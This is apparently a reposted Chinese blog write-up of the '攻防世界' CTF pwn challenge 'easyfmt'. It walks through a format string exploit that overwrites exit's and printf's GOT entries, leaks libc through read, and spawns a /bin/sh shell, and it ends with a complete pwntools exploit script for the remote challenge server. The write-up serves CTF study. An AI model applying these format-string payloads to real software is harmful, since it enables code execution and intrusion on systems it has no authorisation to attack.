欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界(pwn)easyfmt

程序员文章站 2022-05-18 22:13:52
...

这题出的很奇怪,本地调试不知道为什么出问题,远程也调了很久才通,希望路过的大佬提出更好的思路和解题方式!

查看一下保护:
攻防世界(pwn)easyfmt

开了canary,NX,部分打开RELRO,没开PIE,可以尝试got表的覆盖。
这里不能有时候全信,还是要打开IDA自己分析才行。
攻防世界(pwn)easyfmt

可以看到有明显的格式化字符串漏洞,看看怎么利用他。
要运行到格式化字符串漏洞,我们必须完成一个判定,我们进入CheckIn函数看看。
攻防世界(pwn)easyfmt

CheckIn函数其实就是程序产生一个随机数,然后需要我们输入一个数字,程序检查我们输入的数字和随机数是否一样,一样便可以进入下一阶段。
随机数的范围不大,我们就直接**就没问题了。
这里我选择的是手动**,反正概率很高,你也可以写try…Except…来写一个自动**的函数。
这里选择输入1,一直运行就有几率成功。
好的,进入格式化字符串漏洞的重头戏,由于程序运行到一次就会exit(0),我们首先利用格式化字符串漏洞把exit函数的got地址改写了(注意不是got表里边的地址)。
我们首先查看一下偏移:
攻防世界(pwn)easyfmt

这里可以看到有两种方式,一种是工具提供的偏移为7,另一种是手动测试的偏移为8,然后观察一下:
攻防世界(pwn)easyfmt

可以看到偏移为8,我这边可能是工具没安装好,还是手工测比较靠谱。

p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)

0x982就是CheckIn判定之后的函数地址,这样我们就可以跳转到CheckIn判断之后的函数了。
然后我们考虑泄露libc版本,但是这边又出问题了,由于我们跳转了堆栈地址,程序的栈地址发生的改变,(这里我看了半天,完全不知道为什么,希望大佬告知)通过实测,我们发现格式字符串漏洞的偏移加了一位,这里我们可以在exp种下attach来调试:

p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)
gdb.attach(p)
#pause()

p.recvuntil('slogan: ')
payload = '%10$sAAA'
p.sendline(payload)
p.interactive()

这里要下interactive,不然程序会终止运行。
运行结果:
攻防世界(pwn)easyfmt

我们真实的看到,格式字符串漏洞的偏移加一了,不管为什么,调出来的肯定没错了。
然而到这里我的本地就打不通了,只能靠远端来测试????。
攻防世界(pwn)easyfmt

这里死活收不到,我们只能换远端。
换了远端后还是有一个问题出现了,如果这样写:

p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)

read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset

就会接收到一个奇怪的read_addr,看起来就很怪,用他查找到的libc库也非常多。
攻防世界(pwn)easyfmt

实测这个地址根本不对,估计这里由于堆栈发生变化的原因我必须这样写才行:

p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)
p.recv(1)

read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset

没错,我们加一个recv(1),向后移一位接收才行:
攻防世界(pwn)easyfmt

这样就好了,这里也是估计,不是很知道原因。
泄露出libc地址,我们就考虑来覆盖got表里边的地址来执行system函数了,这里我们采用部分覆盖的方法。
这里我的本地打不通了,不能使用gdb调试看数据了,我就只能根据上面的偏移来猜测,在原来的基础上再加一偏移,结果证实猜想是正确的

data = (system&0xFF)
payload = '%' + str(data) + 'c%14$hhn'
data = ((system&0xFFFFFF) >> 8) - data
payload += '%' + str(data) + 'c%15$hn'
payload = payload.ljust(32, 'A')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 1)
p.recvuntil('slogan: ')
p.sendline(payload)

这里我们只需要覆盖后三字节就行了,我们就构造这样的payload。
完整exp:

from pwn import *
from LibcSearcher import *

local = 0
if local:
    p = process('./easyfmt')
else:
    p = remote('111.198.29.45',*****)

debug = 1
if debug:
    context.log_level = 'debug'

elf = ELF('./easyfmt')
p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)
#gdb.attach(p)
#pause()

p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)
#p.interactive()
#gdb.attach(p)
p.recv(1)

read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset

data = (system&0xFF)
payload = '%' + str(data) + 'c%14$hhn'
data = ((system&0xFFFFFF) >> 8) - data
payload += '%' + str(data) + 'c%15$hn'
payload = payload.ljust(32, 'A')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 1)
p.recvuntil('slogan: ')
p.sendline(payload)

p.sendlineafter('slogan: ','/bin/sh')
p.interactive()

攻防世界(pwn)easyfmt

参考链接:https://blog.csdn.net/seaaseesa/article/details/104188868